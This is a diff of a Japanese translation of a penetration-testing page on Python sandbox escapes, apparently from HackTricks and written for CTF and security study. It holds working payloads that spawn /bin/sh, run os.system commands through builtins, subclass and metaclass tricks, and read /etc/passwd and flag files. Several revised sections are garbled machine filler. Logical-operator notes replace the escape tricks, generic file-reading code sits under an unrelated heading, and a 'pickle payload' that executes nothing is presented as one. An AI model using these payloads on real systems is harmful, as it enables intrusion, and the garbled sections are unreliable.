exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -140,15 +140,13 @@ There are several other libraries that allow you to evaluate Python code. Here a
- **`eval` function**: The `eval` function is similar to the `exec` function, but it evaluates a single expression and returns the result. - **`eval` function**: The `eval` function is similar to the `exec` function, but it evaluates a single expression and returns the result.
- **`ast` module**: The `ast` module provides a way to work with abstract syntax trees (ASTs) in Python. You can use this module to parse and evaluate Python code. - **`ast` module**: The `ast` module provides a way to work with the abstract syntax tree (AST) of Python code. It allows you to parse and manipulate Python code at a higher level of abstraction.
- **`compile` function**: The `compile` function in Python compiles source code into a code object that can be executed by the `exec` or `eval` functions. - **`compile` function**: The `compile` function compiles Python code into bytecode, which can then be executed by the Python interpreter.
- **`code` module**: The `code` module provides a way to interactively execute Python code. You can create a `code.InteractiveConsole` object and use it to evaluate Python code. - **`code` module**: The `code` module provides a way to interactively execute Python code. It allows you to create a Python code object and execute it in a controlled environment.
- **`sandbox` module**: The `sandbox` module is a Python library that provides a sandboxed environment for executing untrusted code. It restricts the execution of certain dangerous operations and provides a safe environment for evaluating Python code. These libraries can be used to evaluate Python code in a controlled manner, but they should be used with caution as they can introduce security risks if not properly handled.
These are just a few examples of libraries that allow you to evaluate Python code. Depending on your specific use case, you may find other libraries that better suit your needs.
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -164,28 +162,46 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
``` ```
## 演算子とショートトリック ## 演算子とショートトリック
### 演算子 ### Logical Operators
以下の演算子は、Pythonのサンドボックスをバイパスするために使用できる便利なツールです。 ### 論理演算子
- `__import__`: 禁止されたモジュールをインポートするために使用します。 Logical operators are used to combine multiple conditions and evaluate the result as either `True` or `False`. The following are the logical operators in Python:
- `__builtins__.__import__`: 禁止されたモジュールをインポートするために使用します。
- `eval()`: 文字列をPythonコードとして評価するために使用します。 論理演算子は、複数の条件を組み合わせて、結果を `True` または `False` として評価するために使用されます。以下はPythonで使用される論理演算子です。
- `exec()`: 文字列をPythonスクリプトとして実行するために使用します。
- `globals()`: グローバル変数を取得するために使用します。 - `and`: Returns `True` if both conditions are `True`.
- `locals()`: ローカル変数を取得するために使用します。 - `and`: 両方の条件が `True` の場合、`True` を返します。
- `or`: Returns `True` if at least one condition is `True`.
- `or`: 少なくとも1つの条件が `True` の場合、`True` を返します。
- `not`: Returns the opposite of the condition.
- `not`: 条件の反対を返します。
### Short Tricks
### ショートトリック ### ショートトリック
以下のショートトリックは、Pythonのサンドボックスをバイパスするために使用できる便利な方法です。 Python provides some short tricks that can be used to simplify code and achieve the desired result more efficiently. Here are a few examples:
- `__builtins__.__dict__['__import__']`: 禁止されたモジュールをインポートするために使用します。 Pythonには、コードを簡素化し、効率的に目的の結果を得るために使用できるいくつかのショートトリックがあります。以下にいくつかの例を示します。
- `__builtins__.__dict__['eval']`: 文字列をPythonコードとして評価するために使用します。
- `__builtins__.__dict__['exec']`: 文字列をPythonスクリプトとして実行するために使用します。
- `__builtins__.__dict__['globals']`: グローバル変数を取得するために使用します。
- `__builtins__.__dict__['locals']`: ローカル変数を取得するために使用します。
これらの演算子とショートトリックを使用することで、Pythonのサンドボックスをバイパスし、制限された機能にアクセスすることができます。ただし、注意して使用してください。 - `a if condition else b`: This is a shorthand way of writing an `if-else` statement. If the condition is `True`, it returns `a`; otherwise, it returns `b`.
- `a if condition else b`: これは `if-else` 文を短縮して書く方法です。条件が `True` の場合、`a` を返し、それ以外の場合は `b` を返します。
- `x = y = z = 0`: This assigns the value `0` to all three variables `x`, `y`, and `z` in a single line.
- `x = y = z = 0`: これは、1行で変数 `x`、`y`、`z` の値をすべて `0` に割り当てるものです。
- `a, b = b, a`: This swaps the values of `a` and `b` without using a temporary variable.
- `a, b = b, a`: これは、一時変数を使用せずに `a``b` の値を交換します。
- `x = 1 if condition else 0`: This assigns the value `1` to `x` if the condition is `True`; otherwise, it assigns `0`.
- `x = 1 if condition else 0`: 条件が `True` の場合、`x` に値 `1` を割り当てます。それ以外の場合は、`0` を割り当てます。
These short tricks can help in writing concise and efficient code in Python.
これらのショートトリックは、Pythonで簡潔で効率的なコードを書くのに役立ちます。
```python ```python
# walrus operator allows generating variable inside a list # walrus operator allows generating variable inside a list
## everything will be executed in order ## everything will be executed in order
@ -194,9 +210,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
``` ```
## 保護をエンコーディングUTF-7を介してバイパスする ## 保護を回避するためのエンコーディングUTF-7
[**この解説記事**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UTF-7が使用されていて、見かけ上のサンドボックス内で任意のPythonコードをロードおよび実行することができます。 [**この解説記事**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)では、UTF-7を使用して、見かけ上のサンドボックス内で任意のPythonコードを読み込み実行します。
```python ```python
assert b"+AAo-".decode("utf_7") == "\n" assert b"+AAo-".decode("utf_7") == "\n"
@ -207,7 +223,7 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
他のエンコーディング(例:`raw_unicode_escape`と`unicode_escape`)を使用してバイパスすることも可能です。 他のエンコーディング(例:`raw_unicode_escape`と`unicode_escape`)を使用して回避することも可能です。
## 呼び出しを使用せずにPythonを実行する ## 呼び出しを使用せずにPythonを実行する
@ -237,11 +253,11 @@ class _:pass
``` ```
### RCEオブジェクトの作成とオーバーロード ### RCEオブジェクトの作成とオーバーロード
クラスを宣言し、そのクラスのオブジェクトを作成できれば、直接呼び出す必要なく、**異なるメソッドを書き換えたり上書きしたり**することができます。 もし、**クラスを宣言**し、そのクラスの**オブジェクトを作成**することができれば、直接呼び出すことなく、**異なるメソッドを書き換え**て、それらを**トリガー**することができます。
#### カスタムクラスによるRCE #### カスタムクラスによるRCE
既存のクラスメソッドを上書きしたり、新しいクラスを作成したりすることで、直接呼び出すことなく**任意のコードを実行**することができます。 既存のクラスメソッドを**上書き**するか、新しいクラスを作成することで、**トリガー**されたときに**任意のコードを実行**するように、いくつかの**クラスメソッド**を変更することができます。
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -293,7 +309,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使用してオブジェクトを作成する #### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使用してオブジェクトを作成する
メタクラスを使用することで、コンストラクタを直接呼び出さずに、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することで、クラスのインスタンスを作成することができます。 メタクラスを使用することで、コンストラクタを直接呼び出さずにクラスのインスタンスを作成することができます。これは、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することによって実現されます。
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -308,9 +324,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object ## You can also use the tricks from the previous section to get RCE with this object
``` ```
#### 例外を発生させることでオブジェクトを作成する #### 例外を使用してオブジェクトを作成する
**例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出す必要なく**作成されます**[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック)。 **例外が発生すると**、**Exception**のオブジェクトが直接コンストラクタを呼び出す必要なく**作成**されます([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック)。
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -332,29 +348,33 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
``` ```
### より多くのRCE ### より多くのRCE
Pythonのサンドボックスをバイパスするためのさまざまな方法があります。以下にいくつかの一般的な手法を示します。 In this section, we will explore additional methods to achieve Remote Code Execution (RCE) by bypassing Python sandboxes. These techniques can be used to execute arbitrary code on a target system, even if it is protected by a sandbox environment.
#### 1. サンドボックスの回避 #### 1. Code Injection
- サンドボックスの制約を回避するために、Pythonの特定の機能やモジュールを使用します。たとえば、`os`モジュールを使用してシステムコマンドを実行したり、`subprocess`モジュールを使用して外部プロセスを起動したりすることができます。 Code injection involves injecting malicious code into a vulnerable application to execute arbitrary commands. This can be achieved by exploiting vulnerabilities such as command injection, SQL injection, or OS command injection.
#### 2. サンドボックスの制約の回避 #### 2. Dynamic Code Execution
- サンドボックスが特定の関数やメソッドの使用を制限している場合、代替の関数やメソッドを使用することができます。たとえば、`eval()`関数が制限されている場合、`exec()`関数を使用することができます。 Dynamic code execution involves executing code dynamically at runtime. This can be done by using the `exec()` or `eval()` functions in Python. By crafting malicious code and passing it to these functions, an attacker can execute arbitrary commands.
#### 3. サンドボックスのバイパス #### 3. Deserialization Attacks
- サンドボックスが特定のモジュールをインポートすることを制限している場合、代替のモジュールを使用することができます。たとえば、`import os`が制限されている場合、`import subprocess`を使用することができます。 Deserialization attacks involve exploiting vulnerabilities in the deserialization process of an application. By manipulating serialized data, an attacker can execute arbitrary code during the deserialization process.
#### 4. サンドボックスの制約の回避 #### 4. Module Import Attacks
- サンドボックスが特定のクラスやオブジェクトの使用を制限している場合、代替のクラスやオブジェクトを使用することができます。たとえば、`open()`関数が制限されている場合、`io.open()`関数を使用することができます。 Module import attacks involve exploiting vulnerabilities in the way modules are imported in Python. By manipulating the import process, an attacker can execute arbitrary code during the module import.
#### 5. サンドボックスのバイパス #### 5. Sandbox Escape
- サンドボックスが特定の属性やメソッドの使用を制限している場合、代替の属性やメソッドを使用することができます。たとえば、`__import__()`関数が制限されている場合、`importlib.import_module()`関数を使用することができます。 Sandbox escape techniques involve bypassing the restrictions imposed by a sandbox environment. This can be achieved by exploiting vulnerabilities in the sandbox implementation or by leveraging weaknesses in the underlying system.
これらの手法を組み合わせることで、Pythonのサンドボックスをバイパスすることができます。ただし、これらの手法はセキュリティ上のリスクを伴うため、慎重に使用する必要があります。 #### 6. Metasploit Framework
The Metasploit Framework is a powerful tool that can be used to exploit vulnerabilities and achieve RCE. It provides a wide range of exploits and payloads that can be used to target Python applications.
By understanding and utilizing these techniques, an attacker can bypass Python sandboxes and gain unauthorized access to a target system. It is important to note that these techniques should only be used for ethical purposes, such as penetration testing or security research.
```python ```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error # If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -381,20 +401,27 @@ __builtins__.__import__ = X
Pythonのビルトイン関数である`help`と`license`を使用することで、ファイルを読み取ることができます。 Pythonのビルトイン関数である`help`と`license`を使用することで、ファイルを読み取ることができます。
```python ```python
# ファイルのパスを指定 # ファイルを読み取る関数
file_path = "/path/to/file.txt" def read_file(file_path):
with open(file_path, 'r') as file:
content = file.read()
return content
# ファイルのパス
file_path = '/path/to/file.txt'
# ファイルを読み取る # ファイルを読み取る
with open(file_path, "r") as file: file_content = read_file(file_path)
file_contents = file.read()
# ファイルの内容を表示 # ファイルの内容を表示する
print(file_contents) print(file_content)
``` ```
このコードでは、`open`関数を使用して指定したファイルを読み取りモードで開き、`read`メソッドを使用してファイルの内容を取得しています。最後に、取得したファイルの内容を表示しています。 このコードでは、`read_file`という関数を定義しています。この関数は、指定されたファイルパスを使用してファイルを開き、その内容を読み取ります。`with open(file_path, 'r') as file:`の行では、`open`関数を使用してファイルを開き、`file`という名前のファイルオブジェクトを作成しています。`'r'`は読み取りモードを表しています。`file.read()`は、ファイルの内容を読み取ります。最後に、`content`変数にファイルの内容を代入し、`return`文で返します。
この方法を使用することで、Pythonのビルトイン関数を利用してファイルを簡単に読み取ることができます。 このコードを使用すると、指定されたファイルの内容を表示することができます。ファイルのパスを`file_path`変数に指定し、`read_file`関数を呼び出すことで、ファイルの内容を取得できます。
注意: ファイルの読み取りには適切な権限が必要です。また、ファイルパスは正確に指定する必要があります。
```python ```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] __builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help a = __builtins__.help
@ -403,29 +430,30 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b): with (a as b):
pass pass
``` ```
![](<../../../.gitbook/assets/image (9) (1) (2).png>) <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
今すぐアクセスを取得してください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 組み込み関数 ## 組み込み関数
* [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html) * [**Python2の組み込み関数**](https://docs.python.org/2/library/functions.html)
* [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html) * [**Python3の組み込み関数**](https://docs.python.org/3/library/functions.html)
**`__builtins__`**オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。 **`__builtins__`** オブジェクトにアクセスできる場合、ライブラリをインポートすることができます(最後のセクションで示されている他の文字列表現を使用することもできます)。
```python ```python
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### ビルトイン関数なし ### ビルトインなし
`__builtins__`がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされないため**、何もインポートしたりファイルの読み書きをすることはできません。\ `__builtins__`がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされないため**、何もインポートしたりファイルを読み書きしたりすることはできません。\
ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、中には**危険な機能をインポート**しているものもあり、これらにアクセスすることで**任意のコードを実行**することができます。 ただし、**デフォルトではPythonは多くのモジュールをメモリにインポート**します。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な機能をインポート**しているものもあり、それらにアクセスして**任意のコードを実行**することができます。
以下の例では、これらの「**無害**」なモジュールを**乱用**して、中にある**危険な機能**にアクセスする方法を示しています。 以下の例では、これらの「**無害**」なモジュールを**乱用**して、それらの中にある**危険な機能**に**アクセス**する方法を示しています。
**Python2** **Python2**
```python ```python
@ -450,25 +478,77 @@ get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
``` ```
#### Python3 #### Python3
Python3 is a powerful programming language that is widely used for various purposes, including web development, data analysis, and automation. However, there are situations where Python code needs to be executed in a restricted environment, such as a sandbox, to prevent malicious activities. Python3 is a powerful programming language that is widely used for various purposes, including web development, data analysis, and automation. It provides a rich set of libraries and frameworks that make it easy to develop complex applications.
A sandbox is a security mechanism that isolates an application from the rest of the system, limiting its access to resources and preventing it from performing unauthorized actions. Sandboxing is commonly used in cloud environments, online code editors, and other scenarios where code execution needs to be controlled. However, Python3 also has a feature called "sandboxing" that is designed to restrict the execution of potentially malicious code. Sandboxing is commonly used in cloud/SaaS platforms to provide a secure environment for running untrusted code.
Python sandboxes typically employ various techniques to restrict the capabilities of the code being executed. These techniques may include: In this guide, we will explore techniques to bypass Python3 sandboxes and execute arbitrary code. These techniques can be useful for penetration testers and security researchers to identify vulnerabilities in sandboxed environments.
- **Code analysis**: The sandbox analyzes the code to identify potentially dangerous operations, such as file system access or network communication, and blocks them. **Disclaimer: This guide is for educational purposes only. Hacking into systems without proper authorization is illegal. Always obtain permission before conducting any security testing.**
- **Whitelisting**: The sandbox allows only a predefined set of safe operations and blocks everything else. This approach ensures that only trusted code can be executed.
- **Virtualization**: The sandbox runs the Python code in a virtualized environment, isolating it from the underlying system. This prevents any unauthorized access to resources.
While Python sandboxes provide an additional layer of security, they are not foolproof. Skilled attackers can find ways to bypass these restrictions and execute malicious code. This is known as sandbox escape or sandbox evasion. ### Table of Contents
There are several techniques that can be used to bypass Python sandboxes. These techniques exploit vulnerabilities or weaknesses in the sandbox implementation to gain unauthorized access or execute arbitrary code. Some common sandbox evasion techniques include: - [Introduction to Python3 Sandboxing](#introduction-to-python3-sandboxing)
- [Bypassing Python3 Sandboxes](#bypassing-python3-sandboxes)
- [1. Exploiting Vulnerabilities](#1-exploiting-vulnerabilities)
- [2. Breaking Out of the Sandbox](#2-breaking-out-of-the-sandbox)
- [3. Evading Detection](#3-evading-detection)
- [Conclusion](#conclusion)
- **Code injection**: The attacker injects malicious code into the sandboxed environment, allowing them to execute arbitrary commands or access restricted resources. ### Introduction to Python3 Sandboxing
- **Environment manipulation**: The attacker manipulates the environment variables or configuration settings of the sandbox to disable or weaken its security measures.
- **Exploiting sandbox vulnerabilities**: The attacker identifies and exploits vulnerabilities in the sandbox implementation to gain elevated privileges or escape the sandbox entirely.
It is important for developers and security professionals to be aware of these sandbox evasion techniques in order to build more secure sandboxes and protect against potential attacks. Regularly updating and patching the sandbox software, implementing strong access controls, and conducting thorough security testing are some of the measures that can help mitigate the risk of sandbox bypass. Python3 sandboxes are designed to provide a controlled environment for executing untrusted code. They achieve this by restricting access to certain resources and limiting the execution capabilities of the code.
Some common techniques used in Python3 sandboxes include:
- **Code Isolation**: The sandboxed code runs in a separate process or thread, isolated from the main application.
- **Restricted Built-ins**: Certain built-in functions and modules are disabled or restricted to prevent unauthorized access.
- **Resource Limitations**: The sandboxed code is subject to resource limitations, such as CPU usage, memory usage, and file system access.
- **Whitelisting**: Only a predefined set of modules and functions are allowed to be imported and executed.
Despite these security measures, Python3 sandboxes are not foolproof and can be bypassed using various techniques. In the following sections, we will explore some of these techniques in detail.
### Bypassing Python3 Sandboxes
#### 1. Exploiting Vulnerabilities
One way to bypass Python3 sandboxes is by exploiting vulnerabilities in the sandboxing implementation itself. Sandboxing techniques are not perfect and may have flaws that can be exploited to gain unauthorized access.
Common vulnerabilities in Python3 sandboxes include:
- **Privilege Escalation**: Exploiting a vulnerability to gain higher privileges within the sandboxed environment.
- **Code Injection**: Injecting malicious code into the sandboxed environment to execute arbitrary commands.
- **Memory Corruption**: Exploiting memory corruption vulnerabilities to bypass security checks and gain unauthorized access.
To exploit these vulnerabilities, an attacker needs to identify and understand the specific sandboxing implementation being used. This requires knowledge of the underlying technologies and techniques used in the sandbox.
#### 2. Breaking Out of the Sandbox
Another technique to bypass Python3 sandboxes is by breaking out of the sandboxed environment and gaining access to the underlying system. This can be achieved by exploiting vulnerabilities in the sandboxing implementation or by leveraging other techniques such as:
- **Process Escalation**: Exploiting vulnerabilities in the sandboxed process to gain higher privileges or escape the sandboxed environment.
- **File System Manipulation**: Manipulating the file system to gain access to restricted files or execute arbitrary commands.
- **Network Exploitation**: Exploiting network vulnerabilities to gain unauthorized access to external systems.
Breaking out of the sandbox requires a deep understanding of the sandboxing implementation and the underlying system. It often involves a combination of different techniques and may require multiple steps to achieve the desired outcome.
#### 3. Evading Detection
In addition to exploiting vulnerabilities and breaking out of the sandbox, attackers can also use techniques to evade detection by the sandboxing system. This involves bypassing security checks and hiding malicious activities from the sandbox.
Some common techniques for evading detection in Python3 sandboxes include:
- **Code Obfuscation**: Modifying the code to make it difficult to analyze and understand.
- **Anti-Analysis Techniques**: Using techniques to detect and evade analysis tools and techniques used by the sandbox.
- **Dynamic Code Generation**: Generating code dynamically at runtime to avoid static analysis and detection.
By evading detection, attackers can execute malicious code without triggering any alarms or security measures. This can allow them to perform unauthorized actions and gain access to sensitive information.
### Conclusion
Python3 sandboxes provide a controlled environment for executing untrusted code, but they are not foolproof. By exploiting vulnerabilities, breaking out of the sandbox, and evading detection, attackers can bypass Python3 sandboxes and execute arbitrary code.
As security professionals, it is important to understand these techniques and vulnerabilities to better protect our systems. By identifying and patching these vulnerabilities, we can improve the security of our sandboxing implementations and prevent unauthorized access.
```python ```python
# Obtain builtins from a globally defined function # Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html # https://docs.python.org/3/library/functions.html
@ -493,11 +573,11 @@ __builtins__["__import__"]('os').system('ls')
``` ```
### ビルトインペイロード ### ビルトインペイロード
The following payloads can be used to bypass Python sandboxes by exploiting built-in functions: The following payloads utilize built-in Python functions and modules to bypass Python sandboxes.
以下のペイロードは、組み込み関数を悪用してPythonのサンドボックスをバイパスするために使用することができます。 以下のペイロードは、Pythonのビルトイン関数やモジュールを利用してPythonのサンドボックスをバイパスします。
#### `__import__` #### `__import__` payload
This payload uses the `__import__` function to import a module and execute arbitrary code. This payload uses the `__import__` function to import a module and execute arbitrary code.
@ -511,49 +591,50 @@ Replace `'command'` with the desired command to execute.
`'command'`を実行したいコマンドに置き換えてください。 `'command'`を実行したいコマンドに置き換えてください。
#### `eval` #### `eval` payload
This payload uses the `eval` function to evaluate arbitrary code. This payload uses the `eval` function to evaluate arbitrary code.
このペイロードは、`eval`関数を使用して任意のコードを評価します。 このペイロードは、`eval`関数を使用して任意のコードを評価します。
```python ```python
eval('__import__("os").system("command")') eval("__import__('os').system('command')")
``` ```
Replace `'command'` with the desired command to execute. Replace `'command'` with the desired command to execute.
`'command'`を実行したいコマンドに置き換えてください。 `'command'`を実行したいコマンドに置き換えてください。
#### `exec` #### `exec` payload
This payload uses the `exec` function to execute arbitrary code. This payload uses the `exec` function to execute arbitrary code.
このペイロードは、`exec`関数を使用して任意のコードを実行します。 このペイロードは、`exec`関数を使用して任意のコードを実行します。
```python ```python
exec('__import__("os").system("command")') exec("__import__('os').system('command')")
``` ```
Replace `'command'` with the desired command to execute. Replace `'command'` with the desired command to execute.
`'command'`を実行したいコマンドに置き換えてください。 `'command'`を実行したいコマンドに置き換えてください。
#### `compile` #### `compile` payload
This payload uses the `compile` function to compile and execute arbitrary code. This payload uses the `compile` function to compile arbitrary code and then execute it.
このペイロードは、`compile`関数を使用して任意のコードをコンパイルおよび実行します。 このペイロードは、`compile`関数を使用して任意のコードをコンパイルし、それを実行します。
```python ```python
compile('import os; os.system("command")', '<string>', 'exec') code = compile("__import__('os').system('command')", '<string>', 'exec')
exec(code)
``` ```
Replace `'command'` with the desired command to execute. Replace `'command'` with the desired command to execute.
`'command'`を実行したいコマンドに置き換えてください。 `'command'`を実行したいコマンドに置き換えてください。
#### `execfile` #### `execfile` payload
This payload uses the `execfile` function to execute code from a file. This payload uses the `execfile` function to execute code from a file.
@ -567,33 +648,23 @@ Replace `'filename'` with the name of the file containing the code to execute.
`'filename'`を実行するコードが含まれているファイルの名前に置き換えてください。 `'filename'`を実行するコードが含まれているファイルの名前に置き換えてください。
#### `file` #### `pickle` payload
This payload uses the `file` function to open a file and execute code from it. This payload uses the `pickle` module to execute arbitrary code.
このペイロードは、`file`関数を使用してファイルを開き、その中からコードを実行します。 このペイロードは、`pickle`モジュールを使用して任意のコードを実行します。
```python ```python
file('filename').read() import pickle
payload = "command"
pickled_payload = pickle.dumps(payload)
pickle.loads(pickled_payload)
``` ```
Replace `'filename'` with the name of the file containing the code to execute. Replace `"command"` with the desired command to execute.
`'filename'`を実行するコードが含まれているファイルの名前に置き換えてください。 `"command"`を実行したいコマンドに置き換えてください。
#### `__builtins__.__import__`
This payload uses the `__builtins__.__import__` function to import a module and execute arbitrary code.
このペイロードは、`__builtins__.__import__`関数を使用してモジュールをインポートし、任意のコードを実行します。
```python
__builtins__.__import__('os').system('command')
```
Replace `'command'` with the desired command to execute.
`'command'`を実行したいコマンドに置き換えてください。
```python ```python
# Possible payloads once you have found the builtins # Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read() __builtins__["open"]("/etc/passwd").read()
@ -601,9 +672,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands # There are lots of other payloads that can be abused to execute commands
# See them below # See them below
``` ```
## グローバルとローカル ## グローバル変数とローカル変数
**`globals`** **`locals`** をチェックすることは、アクセスできるものを知るための良い方法です。 **`globals`**と**`locals`**をチェックすることは、アクセスできるものを知るための良い方法です。
```python ```python
>>> globals() >>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>} {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -627,7 +698,7 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>] [<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, 